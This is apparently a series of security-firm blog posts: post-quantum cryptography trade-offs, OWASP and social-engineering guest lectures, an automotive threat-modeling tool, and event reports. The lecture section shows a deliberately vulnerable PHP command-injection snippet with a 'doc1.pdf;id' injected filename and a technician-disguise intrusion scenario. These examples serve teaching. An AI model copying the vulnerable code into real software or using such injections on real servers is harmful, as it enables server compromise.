The Linux Container blog series takes the kernel primitives responsible for containerization into account. By using information on these mechanisms in combination with details to the corresponding kernel code, the functionality in regard to these mechanisms is being documented and illustrated. This explains how the operation of containers is possible and describes the internal processes of creating them. As the kernel source code is constantly subject to changes, all provided information is to be understood in regard to Linux version 4.19-rc3 (commit 11da3a7f84f1).

Next post in series

Continue reading the next article in this series Linux Capabilities

References

Title Image

On the Trade Offs of Using Post Quantum Cryptography

Henning Kopp — Sun, 17 Mar 2019 08:50:37 +0100

In this article I am going to highlight some of the issues concerning the current state of post quantum cryptography. This article is written for readers who want a high level overview and are not much concerned with technical details.

The first part explains how security of cryptographic algorithms is determined in theory. Next, the notion of post quantum cryptography is introduced. Eventually, selected aspects if one decides to use post quantum cryptography are highlighted.

This article deals mainly with asymmetric cryptography, as the impact of quantum computers on symmetric cryptography is easier to anticipate. Further, this article is about post quantum cryptography, i.e., cryptography with classical computers under the assumption that the attacker has access to a quantum computer. This is different from quantum cryptography, i.e., cryptography using quantum computers. Quantum cryptography is not treated in this article.

Background on Cryptographic Security

This section gives an overview of the theoretical underpinnings of security in cryptographic systems.

One obvious question is how to measure the security of a cryptographic algorithm. Often, cryptographic algorithms employ a security parameter which is used to tune the security level, i.e., the effort needed to break the algorithm. Intuitively, for an attacker there should be no better algorithm to break a cryptosystem than brute-force, which means trying all keys. The effort of this attack is exponentially in the size of the key. However, using the same cryptosystem with longer keys should not take significantly more time for the user. The main intuition behind the security parameter is now as a measure of key length, as the effort required to break a secure cryptosystem should most often be exponential in the length of the key.

More formally, a cryptosystem is considered secure if the effort of an attacker to break the algorithm increases exponentially, whereas the effort of using the cryptographic algorithm only increases polynomially in the security parameter.

Security in Asymmetric Algorithms

The current approach among cryptographers for asymmetric algorithms is to reduce their security to a known hard problem. Common problems which are assumed to be hard are the factorization of a number into its prime factors, or the computation of discrete logarithms. As there are better algorithms than brute force for solving these problems, the security parameter corresponds to the size of the number which needs to be factorized or the size of the underlying group in which the discrete logarithms need to be computed, respectively. The resulting measurement of security is a qualitative statement like “If problem A is considered to be hard then breaking the cryptographic algorithm is hard”. Or inversely “If the cryptographic algorithm is broken, then solutions to the underlying problem can be computed easily”. However, there are no proofs that solving the underlying problem is in fact hard. The trust placed by the cryptographic community in the complexity of these problems stems from the fact that finding solutions efficiently has eluded researchers for several centuries. For example, the problem of factoring has already been investigated by Fermat in the 17th century.

Note that for a concrete implementation or a standard, a concrete security parameter needs to be chosen. As an example, a security level of 128 bit is currently considered secure. This means that an attacker has to execute approximately 2^128 steps to break the algorithm. According to the NIST recommendations this corresponds to a key length of 3072 bit in RSA, as RSA is based on the factoring problem and thus better algorithms than brute force are available.

Quantum Computers

The faith of the cryptographic community in the complexity of factoring and computing discrete logarithms took some damage when researchers turned their attention to quantum computing. In 1994, Shor proposed an algorithm to factor a number into its prime factors which runs in polynomial (instead of exponential) time. In the same paper, Shor proposes an algorithm to solve discrete logarithms in polynomial time, another problem which was assumed to be of exponential complexity. Consequently, cryptographic algorithms whose security relies on the complexity of factorizing a number or of computing discrete logarithms are broken in theory. These include most asymmetric cryptosystems such as Diffie-Hellman, RSA, El-Gamal, and cryptosystems based on elliptic curves. However, the main drawback of Shor’s algorithm is the need for a quantum computer to execute it. Thus, these types of cryptosystems are only broken if we allow the attacker access to a quantum computer.

A quantum computer is comparable to a classical computer, but uses qubits, i.e., a two-state quantum mechanical system to store information. There are many intermediate states which can be used in the computations in a quantum computer, but as soon as the qubits are measured in the final result, the superposition collapses and only two states are possible. While a quantum computer can execute classical algorithms, there are some algorithms which have a faster implementation on a quantum computer, as the implementation makes clever use of these intermediate states of the qubit.

When executing Shor’s algorithm, of course the quantum computer needs to be “big enough” in the sense, that there need to be enough qubits available. Regarding the security implications this is mainly a practical problem, as the theory deals only with asymptotic statements. To our knowledge the largest number which has been factored by a quantum computer is 56153 which corresponds to an RSA key length of 16 Bits. For this computation 4 qubits have been used. Real world RSA keys of 3072 or 4096 bits are still far out of reach for current quantum computers.

Currently, it is not certain when large enough quantum computers are feasible. However, since quantum computers are only getting better and not worse, research into cryptosystems whose security is based on different, i.e., quantum safe problems is booming. These novel directions in cryptography are treated under the term “post quantum security” or “quantum proof cryptography”. While there are many contenders, there are no standards yet. Nevertheless, some companies are already offering supposedly quantum proof cryptosystems.

A Holistic View on Security

From a theoretical point of view the situation is clear: If an attacker is allowed access to a quantum computer, most currently employed cryptosystems are insecure in the sense that breaking the algorithm requires only polynomial effort. Post quantum cryptosystems are secure under the hardness assumption of their underlying respective problem. Consequently, a switch to quantum proof cryptosystems is needed to enable long term security.

In practice, however, the situation is more nuanced:

If an attacker requires only polynomial effort, the cryptosystem is broken in theory but may not be broken in practice. For example, there is an attack on AES due to Bogdanov et al. which needs less effort than brute force. However, the effort is still high enough such that the attack is impossible with current technology.

Further, cryptographic algorithms in the real world are not broken by attacking the mathematical foundations, as these are the most solid part, but rather the implementation or the usage of the cryptosystem. This is akin to storing treasures in a house. Even if secure doors are used, an attacker can sneak in through an open window. In the real world cryptography is usually the secure door, rather than the open window.

In the following I aim to give an overview of some of the issues surrounding the trade offs associated with current post quantum cryptosystems.

Missing Standards

Currently, there are no standards for quantum proof cryptosystems, yet NIST has initiated a competition to standardize a post quantum cryptosystem. According to their timeline this standard is estimated to be ready in 2022 to 2024.

Beyond fixing the security parameter, a standard usually regulates the data format of the messages and keys. Consequently, the landscape of implementations of quantum proof cryptosystems is very fractionated and encrypted messages may be incompatible between different software, even if the same cryptographic algorithm is used. This leads to the situation of a vendor lock-in, where the costs of switching to a different software later may become substantial.

Patents

A further point impeding the adoption of quantum proof cryptosystems is that many algorithms are encumbered by patents. However, their impact on using post quantum cryptography in practice depends heavily on the type of patent. Patents can cover the whole algorithm or only specific parts of the implementation. In the latter case, a slower but compatible implementation may be available. While only few general points can be made regarding the impact of patents on the adoption of quantum proof cryptography, this point certainly needs to be considered when deciding to use such cryptosystems in practice.

Implementation Risks

Another problem when using post quantum cryptography in production is the lack of a vetted implementation. The main problem is that the security of an algorithm is dependent on the security of its implementation. For example, if different code paths are executed depending on the input data, the algorithm can leak information of its input by observing the timing differences of different runs of the algorithm This can leak sensitive internal information such as key material. There are lots of these attacks against implementations of cryptography such as padding oracle attacks, cache attacks, and other timing attacks.

For classical cryptography there are industry grade implementations such as the OpenSSL library, which is hardened against these attacks through many years of experience. For quantum proof cryptography there are no comparable libraries with a similar level of expertise. Consequently, post quantum algorithms suffer from more risk stemming from an insecure implementation than classical cryptosystems.

Organizational Decisions

Decisions in organizations are not made in a vacuum. Especially, decisions may not always focus on achieving the best solution, but other factors can play important roles as well.

In practice, an employee needs to take responsibility for its decisions towards its manager. Thus, the employee may not be blamed for using a government standard, but for using an experimental quantum proof algorithm if it fails. The same argumentation may be applied by a court in the case of privacy violations due to a data leak. Hence, even though quantum proof algorithms may offer more long term security, employees may be reluctant to adopt them. This argument is not separate but can be seen as a further consequence of the lack of a standard.

Long term Security

One argument for quantum proof algorithms is their long term security. Especially, once attackers can afford quantum computers it is estimated that classical algorithms are not secure anymore. It is important to note that multi decade long term data protection is not important for most organizations to begin with, except, e.g., TS/SCI facilities and the healthcare sector. Most cryptographic data such as TLS handshakes are rather ephemeral. Further, remember that the impact of quantum computing on symmetric cryptography, i.e., encryption, is very well understood, and thus only asymmetric cryptography such as signatures and key exchanges are affected when arguing about long term security.

Current governmental recommendations for long term security suggest using classical algorithms with larger keys. The EU project ECRYPT recommends using elliptic curves with 512 Bits for security for thirty up to fifty years. NIST has the same recommendations for security up to 2030 “and beyond”. Consequently, for industry grade applications classical cryptography should suffice for nearly all applications and there is no urgent need to migrate to post quantum cryptography.

Conclusion

We have given an overview of the notion of security in cryptosystems and have shown that for real world applications, currently there is no need to switch to post quantum cryptosystems. Further we have argued that there are currently many forces preventing adoption of quantum proof cryptography.

However, it is clear that cryptographic attacks will only get better and never worse. Hence, changing to quantum proof cryptosystem will become necessary in the future. Until then we hopefully have a standard and some industry grade software libraries.

Guest lectures at Ulm University

Tobias Arnold — Fri, 22 Feb 2019 13:00:00 +0100

SCHUTZWERK has long-lasting connections to Hochschule Furtwangen, Hochschule Aalen and Ulm University in order to cooperate in research and teaching topics with security focus. This includes lectures, security CTFs, master and bachelor thesis as well as research projects (e.g., the ongoing BMBF project SecForCARs in which a recent master thesis was conducted together with Ulm University). Furthermore, SCHUTZWERK regularly conducts one-day hands-on events, so-called Capture-the-flags (CTF), in which students can test their cybersecurity skills in form of a practical competition (e.g. Hack2Improve ).

Thus, students interested in the field of IT security are given the chance to write their thesis (Bachelor/Master) with us but can also become part of the SCHUTZWERK team as a working student. This will allow working students to gain insights into professional life, gain hands-on experience with IT security, and finance their studies. Further possibilities like an internship (with a minimum duration of 6 months) complete the practical opportunities for students at SCHUTZWERK. Most internal projects of working students like the development of new hardware and software solutions directly contribute to our daily business. The results are often used in upcoming assessments. In the long term, we want to keep good students by offering attractive job opportunities . Some former working students are now fully employed after completing their studies.

On the teaching level SCHUTZWERK gives security lectures (e.g., Penetration Testing and Computer Forensic at Hochschule Aalen) or guest talks and guest lectures providing practical examples and insights into applied IT security. For example, the following two guest lectures were recently given by SCHUTZWERK at Ulm University focusing on the basics in web security and on social engineering attacks.

Guest Lecture - Web Security

The Web Engineering lecture at Ulm University gives a general overview over web technologies including historical development and technical basics. The lecture is accompanied by an exercise. In this exercise, students apply their knowledge in a practical manner to strengthen and deepen the understanding of what has been learnt. In the field of web engineering, where technologies are changing very frequently, the requirements and best practices regarding security are constantly changing, too. To keep up with these changes goes beyond the scope of this lecture. However, a basic understanding of web security and security best practices is desperately needed by any web engineer. To give students an insight into the latest web security mechanisms, Tobias Arnold held a guest lecture on January 31st. In the introduction of the guest lecture, the general procedure of a penetration test was first outlined: 1. collecting information, 2. scanning for vulnerabilities and 3. exploiting vulnerabilities. If an exploit is successful, the process starts from the beginning since new information may be available. With the general understanding of the procedure, the lecture continued with the introduction of OWASP. The Open Worldwide Application Security Project (OWASP) is a worldwide not-for-profit organization focused on improving the security of software. One of the OWASP projects is the Top Ten Project in which the ten most common security vulnerabilities in web applications are described. This project serves as a reference for both, web engineers and penetration testers. Due to limited time, the lecture focused on four of the top ten vulnerabilities: injection, broken authentication, broken access control, and cross-site scripting.

INJECTION - Two examples of injections were presented: command injections and SQL injections. To exploit a command injection, an attacker has to find a vulnerability first. An example is a php function stored and executed on a web server. This function receives a file name as a parameter from a client to delete it. This file name is directly used in a system command without any sanitization. The code snippet can be seen below:

<?php
$file=$_GET['filename'];
system("rm $file");
print("File deleted successfully");
?>

If the provided file name is doc1.pdf, the executed command is rm doc1.pdf. Provided that the file exists in the appropriate place it is deleted. However, since the file name is not sanitized on server side, a second command could be attached to the file name. The “file name” doc1.pdf;id results in the following executed command rm doc1.pdf;id. In fact, those are two commands separated by a semicolon. The first rm doc1.pdf deletes the file as described before. The second command id returns information about the current user. Both commands are executed in the user context of the web server. An injection like this can be used to compromise the web server directly. The second example presented at the guest lecture was an SQL injection. This vulnerability results also from the use of unsanitized user input. An attacker can use an SQL injection access or modify information stored in a database. In some cases it is also possible to execute system commands by using databases functions.

BROKEN AUTHENTICATION - This OWASP class of vulnerabilities covers anything related to the session management, from login to logout. This includes the use of default credentials, allowing weak passwords (further information about proper password strength can be found at the QWASP Authentication Cheat Sheet ), missing session timeout, missing brute force protection, and more.

BROKEN ACCESS CONTROL - Most web applications provide sensitive information such as addresses and bank account information. This information must not be accessed by a third party. Therefore, an effective access control needs to be established. It is not sufficient to assume that links or ids leading to confidential data or documents could not be guessed by an attacker. Every access to a resource must be approved by the web server by checking access legitimacy.

CROSS-SITE-SCRIPTING - To execute code in the browser of a user, modern web applications use JavaScript. This script code is delivered by the web server with the website itself. An attacker who is able to deliver his own code to the browser of another user can exploit this cross-site scripting vulnerability to his advantage. Depending on other misconfigurations he could steal the session cookie, exploit vulnerabilities of the browser, phish for credentials e.g. by manipulating the site to present a login form and send the entered information to the attacker, and much more. Furthermore, two types of cross-site scripting were demonstrated with examples: stored cross-site scripting and reflected cross-site scripting. In a stored cross-site scripting, an attacker is able to place his script code on the website persistently (e.g. in a comment field) and the code is delivered to any user visiting this site this. In a reflected cross-site scripting, malicious code embedded in a request is returned by the web server without being stored persistently. This non permanent cross-site scripting is called reflected. To exploit this kind of reflected cross-site scripting, an attacker must convince a user to click on a malicious link, e.g., in a mail. A countermeasure to avoid cross-site scripting is the escaping of characters like <, >, /. Those characters are needed to surround the script code with script tags <script>...</script> to get the browser to interpret the script code as such.

Conclusion

The main take away message of the guest lecture was the following:

All explicit and implicit user input is a potential security risk!

Web engineers should be sensitized and aware about potential security risks. This is the only way to establish appropriate countermeasures and develop future web applications according to best practices. The students attending this lecture have come a step closer to this goal.

The second guest lecture Social Engineering - Man as the weakest link in the chain was given by Dr. Bastian Könings in early February as part of the lecture Sicherheit in IT-Systemen (Security in IT systems). Social engineering is an act of interpersonal influence designed to cause certain behaviors. Goals can be the disclosure of passwords, access to secure areas or the execution of certain actions. Based on human attributes like trust, helpfulness, respect, helplessness, curiosity, comfort, fear, shame, etc. an attacker can use social engineering to bypass potential strong technical security measures. Social engineering attacks are usually very successful. The lecture presented different types of social engineering attacks: active (direct interaction) vs passive (no direct interaction like eavesdropping) and human based (without the use of technical aids) vs computer based (with the use of technical aids). The second part of the lecture presented several practical examples of real-world social engineering assessments conducted by SCHUTZWERK. The three steps to conduct a social engineering attack are: 1. collecting information, 2. searching for weaknesses and 3. exploiting vulnerabilities.

The first step is the collection of information about the target. For this, direct observation or publicly available information such as map services can be used. Useful information are among other things: which area is under video surveillance, access control systems, working and break times, dress code, usage of badges, regular events, behavior, and much more.
In a second step, the collected information is evaluated and searched for weak spots such as an unguarded rear entrance. Based on an identified vulnerability, an attack scenario can be developed. The third step is the execution. Thereby, an attacker must blend in with the surroundings to go undetected. Attributes like quick-wittedness, spontaneity, adaptability and calmness are essential. An attack scenario could be the maintenance of smoke detectors.
To increase credibility, the attacker must dress up as a technician (e.g. with a boilersuit, proper technical tools and a badge). If the staff behaves correctly the attacker will not be able to move freely. However, he could be able to place a bug (microphone or camera) in a smoke detector. The bug can be used to get further insights or even sensitive information like passwords or confidential data.

To minimize the possible attack vectors, several measures were presented at the guest lecture. An important point is the training of employees. Only if employees are aware of the threat of social engineering, they can behave appropriate, e.g. report incidents and not disclose sensitive information.

Conclusion

This second guest lecture demonstrated that man itself could be the weakest part. Using social engineering technical measures can be bypassed rather easily. Especially for students, most focusing only on technical security, this lecture broadened their horizons allowing them to see the bigger picture of IT security.

Threat Modeling with TMTe4PT

Michael Wolf — Wed, 20 Feb 2019 09:00:00 +0100

From a traditional point of view, vehicles used to be closed systems in which components communicated between each other over a central vehicle bus and no connection to remote systems was possible. However, this has drastically changed during the last years with increasing connectivity and autonomy of today’s vehicles. While car manufacturers have a long experience in dealing with safety problems, dealing with security risks raised by this development is a relatively new domain for them.

This has also implications on the process of identifying potential safety and security risks. On the one side, there is a well established process measuring safety risks. For example, if one million devices are inspected and ten will fail, the probability of one device failing can be calculated quite accurately. On the other side, security risks in the automotive domain can hardly be measured and testing processes are not standardized yet. For instance, it is not possible to prove the absence of vulnerabilities, only that none are found with a certain amount of effort.

Furthermore, safety and security analysis are mostly conducted separately. This is especially a problem for security risks which might have implications on the safety side. Therefore, a holistic threat analysis approach for vehicles should include both the analysis of safety and security risks with their mutual influences and dependencies.

Due to the fairly new field of merging safety and security, not many threat models exist in research. Up to our knowledge, none of the existing models support penetration testing of vehicles by providing a ranking system and tool support. Since we regularly perform threat modelling in this domain as part of our Embedded Systems Assessments , filling this gap was the main goal of this thesis.

Existing Threat Models

The following existing threat models combining safety and security were analyzed with respect to our criteria for automotive penetration testing: Standard based, Not Attacker based, Rating provided, Automation possible, Tool available, Low complexity.

Threat Model	S	At	R	Au	T	L
Composite Threat Model¹	X	X	X			X
SGM²	X	X		X		X
STRIDE³			X	X	X	X
SAHARA⁴	X		X			X
CHASSIS⁵		X		X
FMVEA⁶	X		X	X
HEAVENS⁷	X	X	X	X		X
EVITA⁸			X
SINA⁹	X	Y	X	X		X
OCTAVE¹⁰		X
PASTA¹¹			X
Trike¹²		X	X	X	X
VAST¹³			X	X	X	X
…	…	…	…	…	…	…

None of the evaluated threat models shown in the table above fit our criteria perfectly. So we have decided to build our own model based on the three existing models STRIDE, Composite Threat Model, and SGM.

The most important factor for us was an existing tool support. Therefore, we have chosen STRIDE as our threat classification and generation model. The other models, like SAHARA or FMVEA which use the STRIDE threat modeling approach have added unwanted functionality, but they inspired us to do the same. The VAST model fulfilled the same criteria as STRIDE. However, their ThreatModeler tool is not free and we haven’t found any scientific analysis of this method.

The reason for choosing the Composite Threat Model over the other models, which combined safety and security, was it’s simplicity in the calculation of the threat level and the use of the metrics we have selected for our own methodology.

The SGM was perfect suited for our cause in fulfilling the role of providing a simple and structured safety method which can be utilized to generate security threats.

Existing Tools

In the table below all tools are listed and evaluated based on the following criteria: For a better visualization of the system, the possibility to draw a Data Flow Diagram (DFD) is required. Because no tool has features specifically for the automotive domain, it has to be expandable to an extend that the user can implement the missing components. In order to reduce the workload for the security expert, it has to generate the threats automatically based on the diagram drawn and pre-defined rules.

Application	DFD	Expandable	Threat Generation
IriusRisk		X	X
securiCAD	X		X
ThreatModeler	X	X	X
Threat Dragon	X	X
Sea Sponge	X	X
Threat Modeling Tool	X	X	X

Two programs, the ThreatModeler and Microsofts' Threat Modeling Tool (TMT) fulfill all of our requirements. We have chosen the TMT, because it is free and it is based on STRIDE.

The CVSIL Threat Modeling Methodology

As noted above, we have created our own novel threat methodology called CVSIL combining Common Vulnerability Scoring System (CVSS) and Automotive Safety Integrity Level (ASIL) which should support prioritizing threats based on their damage potential. It combines the outcome of a Hazard Analysis and Risk Assessment (HARA) with the results from using Microsofts’ Threat Modeling Tool (TMT) 2016. In short, with our solution, the faults from the HARA have to be mapped to fitting threats from the TMT. Then, the Collateral Damage Potential (CDP) metric can be derived from ASIL calculation for each fault, and so the CVSS overall score can be calculated and used as risk level.

Image of the "Setting CDP" Phase of the CVSIL Methodology with Input (blue)

The figure above is showing a small part of the whole threat model, the Setting CDP phase of the CVSIL methodology with Input (blue), Output (green) and Examples (cyan). The example illustrates how the Severity (S) and Controllability (C) from the ASIL analysis at the end of the HARA can be mapped to a CDP value and than used in determining the CVSS score. For the complete model and explanation we refer to our master thesis.

Threat Modeling Tool Extension for Penetration Tester

We developed the Threat Modeling Tool Extension for Penetration Tester (TMTe4PT) ¹⁴ as an open source tool in form of an extension for the Microsoft Threat Modeling Tool 2016 with an adapted version of the automotive threat modeling template from the NCC Group . The app was written in JavaScript using the Vue.js (v2.5.2) framework and can be bundled in a single static HTML file and therefore used in any modern browser.

Our tool adds the calculation of the Common Vulnerability Scoring System v2 for each threat generated by the TMT, as well as the option of bulk modifications. With the filtering and sorting of the tabular data, it is possible for a penetration tester to find the threats which match his/her criteria and therefore supports in prioritizing test activities (e.g., a tester wants to find the threats with the highest CVSS Score with Ethernet as Interaction and a Local (L) Access Vector).

Image of the Modify the Threats Tab of the TMTe4PT tool.

Summarized Features

Adding CVSS calculation to threats generated by the Microsoft TMT 2016
Import of the save (.tm7) and report (.htm) file of the TMT
Filtering the threats with a simple query logic
Bulk modification of threats
Export of the data and/or query in json format

For a detailed explanation of each feature and how they are used, we refer to the documentation of our tool on GitHub .

A ready-to-use version is provided on GitHub in the testFiles folder with some sample data. The file TMTe4PT.html has to be opened in a web browser and the report and save file from MS TMT 2016 need to be loaded. After that, the CVSS score can be set for each of the generated threats.

For more information about our embedded services see SCHUTZWERK Embedded Systems Assessments or contact us.

Credits

Disclaimer: This tool and methodology was developed by Michael Wolf as part of the Master Thesis “Combining Safety and Security Threat Modeling to Improve Automotive Penetration Testing”. The work was sponsored by the BMBF project SecForCARs and created at SCHUTZWERK GmbH (supervisor Dr. Bastian Könings) in cooperation with the Institute of Distributed Systems at Ulm University (referee: Prof. Dr. Frank Kargl, supervisor Dr. Rens van der Heijden), and the Institute of Energy Efficient Mobility at University of Applied Sciences Karlsruhe (co-referee: Prof. Dr. Reiner Kriesten, supervisor Jürgen Dürrwang and Florian Sommer).

References

[Composite] Stijn van Winsen. Threat Modelling for Future Vehicles, On Identifying and Analysing Threats for Future Autonomous and Connected Vehicles. Master Thesis. Kerckhoffs Institute Faculty of Electrical Engineering, Mathematics and Computer Science University of Twente: University of Twente, Jan. 2017, https://essay.utwente.nl/71792/1/Master_Thesis20170214-FINAL%20PUBLIC.pdf ↩︎
[SGM] J. Dürrwang, K. Beckers, and R. Kriesten. “A Lightweight Threat Analysis Approach Intertwining Safety and Security for the Automotive Domain”. In: Computer Safety, Reliability, and Security. International Conference on Computer Safety, Reliability, and Security. Lecture Notes in Computer Science. Springer, Cham, Sept. 12, 2017, pp. 305–319. D I: https://doi.org/10.1007/978-3-319-66266-4_20. ↩︎
[STRIDE] S. Hernan, S. Lambert, T. Ostwald, and A. Shostack. “Threat Modeling-Uncover Security Design Flaws Using the STRIDE Approach”. In: MSDN Magazine (Jan. 1, 2006), pp. 68–75. L: http://download.microsoft.com/download/3/a/7/3a7fa450-1f33-41f7-9e6d-3aa95b5a6aea/MSDNMagazineNovember2006en-us.chm. ↩︎
[SAHARA] G. Macher, H. Sporer, R. Berlach, E. Armengaud, and C. Kreiner. “SAHARA: A Security-Aware Hazard and Risk Analysis Method”. In: 2015 Design, Automation Test in Europe Conference Exhibition (DATE). 2015 Design, Automation Test in Europe Conference Exhibition (DATE). Mar. 2015, pp. 621–624. D I: https://doi.org/10.7873/DATE.2015.0622. ↩︎
[CHASSIS] C. Raspotnig, P. Karpati, and V. Katta. “A Combined Process for Elicitation and Analysis of Safety and Security Requirements”. In: Enterprise, Business-Process and Information Systems Modeling. Lecture Notes in Business Information Processing. Springer Berlin Heidelberg, 2012, pp. 347–361. D I: https://doi.org/10.1007/978-3-642-31072-0_24 ↩︎
[FMVEA] C. Schmittner, T. Gruber, P. Puschner, and E. Schoitsch. “Security Application of Failure Mode and Effect Analysis (FMEA)”. In: Computer Safety, Reliability, and Security. Ed. by A. Bondavalli and F. Di Giandomenico. Lecture Notes in Computer Science. Cham: Springer International Publishing, 2014, pp. 310–325. D I: https://doi.org/10.1007/978-3-319-10506-2_21. ↩︎
[HEAVENS] M. M. Islam, A. Lautenbach, C. Sandberg, and T. Olovsson. “A Risk Assessment Framework for Automotive Embedded Systems”. In: Proceedings of the 2Nd ACM International Workshop on Cyber-Physical System Security. CPSS ’16. New York, NY, USA: ACM, 2016, pp. 3–14. D I: https://doi.org/10.1145/2899015.2899018. ↩︎
[EVITA] O. Henniger, A. Ruddle, H. Seudié, B. Weyl, M. Wolf, and T. Wollinger. “Securing Vehicular On-Board IT Systems: The EVITA Project”. In: VDI/VW Automotive Security Conference. Ingolstadt, Germany, Oct. 2009. ↩︎
[SINA] K. Schmidt, P. Tröger, H.-M. Kroll, T. Bünger, F. Krueger, and C. Neuhaus. “Adapted Development Process for Security in Networked Automotive Systems”. In: SAE International Journal of Passenger Cars - Electronic and Electrical Systems 7.2 (Apr. 1, 2014), pp. 516–526. D I: https://doi.org/10.4271/2014-01-0334. ↩︎
[OCTAVE] C. J. Alberts, S. G. Behrens, R. D. Pethia, and W. R. Wilson. “Operationally Critical Threat, Asset, and Vulnerability Evaluation (OCTAVE) Framework, Version 1.0”. Software Engineering Institute, Carnegie Mellon University, Pittsburgh, Pennsylvania, Technical Report CMU/SEI-99-TR-017, 1999. http://resources.sei.cmu.edu/library/asset-view.cfm?AssetID=13473. ↩︎
[PASTA] T. Ucedavélez and M. Morana. Risk Centric Threat Modeling: Process for Attack Simulation and Threat Analysis. John Wiley & Sons, May 2015. 1-664. L: http://dx.doi.org/10.1002/9781118988374 ↩︎
[Trike] Saitta, Paul, Larcom, Brenda, and Eddington, Michael. Trike v. 1 Methodology Document [Draft]. July 13, 2005. L: http://www.octotrike.org/papers/Trike_v1_Methodology_Document-draft.pdf ↩︎
[VAST] ThreatModeler Software, Inc. Threat Modeling Methodology | OCTAVE, STRIDE, PASTA,Trike, VAST. Sept. 15, 2018. L: https://go.threatmodeler.com/process-flow-diagrams-vs-data-flow-diagrams-in-threat-modeling ↩︎
[TMTe4PT] TMTe4PT on GitHub: https://www.github.com/schutzwerk/tmte4pt ↩︎

So long 2018 - Hello 2019

SCHUTZWERK GmbH — Fri, 18 Jan 2019 13:00:00 +0100

Team

With two new employees in Ulm and two new employees in Hamburg, we have successfully expanded our team.

Competences

We were able to further expand our competencies, particullary in the embedded, automotive and cloud security area. In addition to assessments in the Azure and AWS environments, penetration tests of whole vehicles and ECUs were a key focus in 2018.

Operational goals

Together with our customers we have successfully mastered more than 100 projects and were able to achieve our own goals.

Outlook

Strategically, we are continuing to focus on expanding our services in the automotive and cloud security area, which have become an core component alongside our services in the classic areas of web, mobile and infrastructure assessments. Above all, however, we look forward to mastering further joint challenges with our customers.

SCHUTZWERK sponsors the 10th German OWASP Day

SCHUTZWERK GmbH — Wed, 24 Oct 2018 13:00:00 +0100

The 10th German OWASP Day will take place in Münster on the 20th of November. SCHUTZWERK GmbH is an official sponsor of the event.

The German OWASP Day 2018 , like every year, will be hosted by the German OWASP Chapter, this year for the tenth time. The German OWASP Day is the most important, independent and non-commercial conference on application security in Germany. The event offers exciting lectures on secure development, operation, testing and management in the field of applications. The focus is on web applications. Interdisciplinary, non-technical topics are also represented. We are looking forward to an interesting exchange on site.

Brucon 0x0A

Tobias Arnold — Mon, 15 Oct 2018 14:00:00 +0100

Like in years past (nearly) the whole team met in Ghent for the unofficial second team event: the BruCON . Next to trainings, talks and workshops the main focus was to have fun together. Therefore, the majority of the team – not all since the team has grown significantly over the last year – stayed at the band resort: a complete apartment in a prime location with lots of space, a beer fridge and a bar. In short: a perfect starting point for evening trips, of which more later.

The Training Session

Before the conference itself, five of us attended different trainings for two or three days. The subjects were chosen by personal interest and differed greatly like our daily business itself. From Practical IoT Hacking over Offensive PowerShell for Red and Blue Teams to Post Exploitation Adversary Simulations – Network Data Exfiltration Techniques the offered trainings appealed to all tastes and interests. Especially the Offensive Whiteboard Hacking for Penetration Testers training was worth doing and inspired to do a company internal workshop to enhance our skills when creating customer offers. The goal: support the customer by conducting a threat analysis to tailor the offers even better to the needs of the customer. The highlights of each training were already discussed while having one or another beer with the other team members who arrived the day before the conference started. More on this later.

The Conference

This year the BruCON took place for the 10th time, traditionally in the beginning of October, in a building of the University of Ghent. The first impression when we walked through the entrance was exactly what we were expecting from previous years: friendly, open minded hackers, nerdy stuff wherever you look and beer. This was already evident in the badges that were needed to enter the building: a circuit board with console like buttons, a display, a battery and – matching the motto Hacking for Beer - an alcohol tester (see picture). Equipped with this badge we left the reception area and entered the main hall. Passing a lot of friendly people, the bar and the breakfast buffet, we headed to the single conference room and the talks.

Badge

Talks

Especially for the 10th birthday, the schedule promised Retro Talks for the whole first day of the conference. That’s why speakers from the last years were presenting the same topics but from today’s perspective. Talks like Hacking driverless vehicles showed an impressive progress in technology. New attack vectors for modern sensors were presented as well as the surprisingly small amount of effort and money needed to conduct some of them. For a demonstration, a faked GPS signal “teleported” the audience right into the White House. Leveling Up Security @ Riot Games also showed progress from the view of a company that has to protect their resources. The speaker compared the security e.g. from buildings from the last talk to the improved current state. Internal reorganizations and RFCs were the main focus.

In contrast to the fast developing technology, other talks showed that some parts of the business can not keep up with the speed of change. In the first place the human itself. The main message of the Social engineering for penetration testers talk was: nothing has changed. The attacks are still the same and the awareness of potential attacks is low as ever. Therefore, the slides and presentation was nearly the same as at the 1st Brucon nine years ago. However the talk was educational, enriched with anecdotes and fun to attend. A second example for minor changes in the past was The 99c heart surgeon dilemma talk. For the original one, the speaker collected reports from different penetration testing companies showing the range in quality from useful to useless. The examples were quite funny and sometimes incredibly bad. Even tough all these companies with bad testing and reports do not longer exist, there are still a lot of bad practices today. Quality prevails even though new offensive security companies show up on a regular basis. However the good new for us: We are still here for nearly two decades, improving our knowledge and quality every day and hopefully living up to our high standards.

Workshops

Next to the talks, some workshops were offered. Some of us attended the Finding security vulnerabilities with modern fuzzing techniques. For 4 hours we moved through hundreds of slides an several hands on practices. We wished we had at least a day for the workshop but since the slides and exercises materials were distributed, we took it home as a homework assignment. Other workshops were more relaxing but not less informative.

Entertaining Program

Beside all the educational content there was a wide range of entertainment offered. Starting from tasty food and drinks, a lot of interesting people to talk to and some competitive challenges. Some of us competed in the CTF with uncommon challenges like lock picking, others relaxed in the Retro Gaming Area and indulged in reminiscences. On the second day, the badges, which until then had possessed the functionality of a stone, were flashed. Now everybody had an up to date scheduling and a map of the most important locations of the BruCON with oneself. This once again demonstrated that we are all different. While one of us immediately examined the new firmware, the others tested the functionality of the alcohol tester. Fortunately, all needed utilities where directly provided at the bar. Other platforms like the Mentor/Mentee meeting as well as the BruCON party at the second day provided a great opportunity to socializing and make new contacts. Furthermore, for all the hackers who wanted to defy the cliché of a nerd a hacker run was organized. At least one of us participated and enjoyed the beautiful city of Ghent at 7am during a 10km run.

Evening Program

The evening before the conference, when the rest of the team not attending any trainings arrived the fridge was already filled with beer and the atmosphere was great. Even though Ghent has a beautiful cityscape we only made it across the street to “schotel”. Schotel is the Dutch word for dish/bowl, but for us it is the deep fried fast food traditionally eaten during BruCON. Back in the apartment, we emptied the fridge and enjoyed a great time together with no thought of work. After the official program ended on the first day of the conference, we all met at the band resort again. Since the band resort is located in the middle of the city everything is within walking distance. A few beers laid the foundation of the construction of a beer can tower later (yes, it reached the ceiling in the end), we headed to a steak and burger restaurant which we discovered last year. On this occasion, we were able to admire the beautiful old houses, streets and churches and all agreed on the fact that Ghent is worth a longer visit. We will definitively return next year.

Visiting the hardwear.io 2018 conference in Den Haag

Michael Wolf — Sat, 15 Sep 2018 14:34:15 +0100

